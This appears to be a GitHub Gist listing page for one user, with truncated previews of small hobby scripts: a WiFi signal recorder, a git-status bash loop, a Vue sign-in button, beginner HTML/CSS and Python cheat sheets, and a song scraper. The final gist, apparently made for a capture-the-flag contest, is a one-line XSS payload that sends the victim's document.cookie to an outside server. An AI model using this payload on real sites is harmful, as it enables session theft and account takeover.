Skip to content

Instantly share code, notes, and snippets.

@anbcodes
anbcodes / dBm_recorder.py
Created January 21, 2019 22:52
A simple program to record the WiFi signal in dBm for 15 seconds on ubuntu 18.04
import subprocess
import time
TSL = []
counter = 0
ATSL = []
counter2 = 0
filename = input("filename:\n")
f = open("{}.txt".format(filename), 'w')
print("writting outputs to {}".format(filename))
print()
@anbcodes
anbcodes / inlineCodeHighlighting.js
Created September 23, 2019 17:54
A Script to paste into the javascript console on Stackedit.io to add inline code highlighting using this format: `your code`lang! (only works when exported)
GLOBALREPLACE = true
document.getElementsByClassName('hidden-rendering-container')[1].addEventListener("DOMSubtreeModified", (e) => {
setTimeout(() => {GLOBALREPLACE = true}, 50)
if (GLOBALREPLACE) {
console.log(e.target.innerHTML)
e.target.innerHTML = e.target.innerHTML.replace(/(<code>)(.*?)(<\/code>)(.*?)(!)/g, (s, p1, p2, p3, p4) => `<code class="prism language-${p4}">${p2}</code>`)
console.log("AFTER")
console.log(e.target.innerHTML)
}
GLOBALREPLACE = false
// Future versions of Hyper may add additional config options,
// which will not automatically be merged into this file.
// See https://hyper.is#cfg for all currently supported options.
module.exports = {
config: {
// choose either `'stable'` for receiving highly polished,
// or `'canary'` for less polished but more frequent updates
updateChannel: 'stable',
@anbcodes
anbcodes / CheckGit.bash
Created November 15, 2019 02:20
A simple bash script for looping through the directories in a directory and checking if they are a github repository without any local changes
gitFind() {
oldLoca=$('pwd')
cd "$1" || "."
for d in */; do
if [ -d $d ]; then
oldLoc=$('pwd')
cd $d
if git ls-remote 2>&1 | grep -q HEAD; then
if git status | grep -q "Changes not" || git status | grep -q "Untracked files"; then
echo "${red}$d (Changes) ${end}"
@anbcodes
anbcodes / Button.vue
Last active December 13, 2019 21:51
A simple example of rendering a google signin button
<template>
<div id="google-signin-btn">
</div>
</template>
<script>
import log from '../utils/Log';
import googleUtils from '../utils/Google';
export default {
mounted() {
@anbcodes
anbcodes / usercodehowto.md
Created March 1, 2020 00:04
VSCode Live Share sign in with user code

Steps

  • Go to this link and log in
  • After logging in click "Having Trouble?" and copy the user code
  • Go to VSCode and do Ctrl+Shift+P and type "Live Share: Sign in with user code" then enter
  • Paste you user code and press enter
@anbcodes
anbcodes / HTMLCSSCheatsheet.md
Last active March 25, 2020 02:06
Cheatsheet for HTML and CSS

Cheatsheet

HTML

Type html:5 then press Enter to create a simple template in a HTML file

Type link:css in the head of the index.html file then press Enter to import a CSS file

Elements:

  • <p>: Creates a paragraph
  • <br>: Creates a new line
  • <a>: Create a link (Use the href attribute: </a><a href="http://example.com">)

Cheat sheet

Variables

  • Define a string: name = 'hello world' (Remember the quotes)
  • Define a number: age = 10
  • Define a boolean (True/False): likesMovies = True (Remember to capitalize "True" and "False")

Interaction

  • print: Prints something to the terminal. Format: print(value)
  • input: Asks the user for their input. Format: input(question) (Remember to put a space after the questions)

Equations

function getNewestAir1Songs() {
fetch('https://www.air1.com/music/songs')
.then((data) => data.text())
.then((html) => {
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
const f = [...doc.querySelectorAll('.card.diffuse.border-0.h-100.song-card p:nth-child(3)')];
const s = [...doc.querySelectorAll('.card.diffuse.border-0.h-100.song-card h5:nth-child(2)')];
const songs = f.map((v, i) => `${s[i].innerText} ${v.innerText}`);
@anbcodes
anbcodes / redpwnxss.js
Created July 9, 2021 20:48
redpwnxss.js
fetch(`https://mc.anb.codes:31661/`+ document.cookie);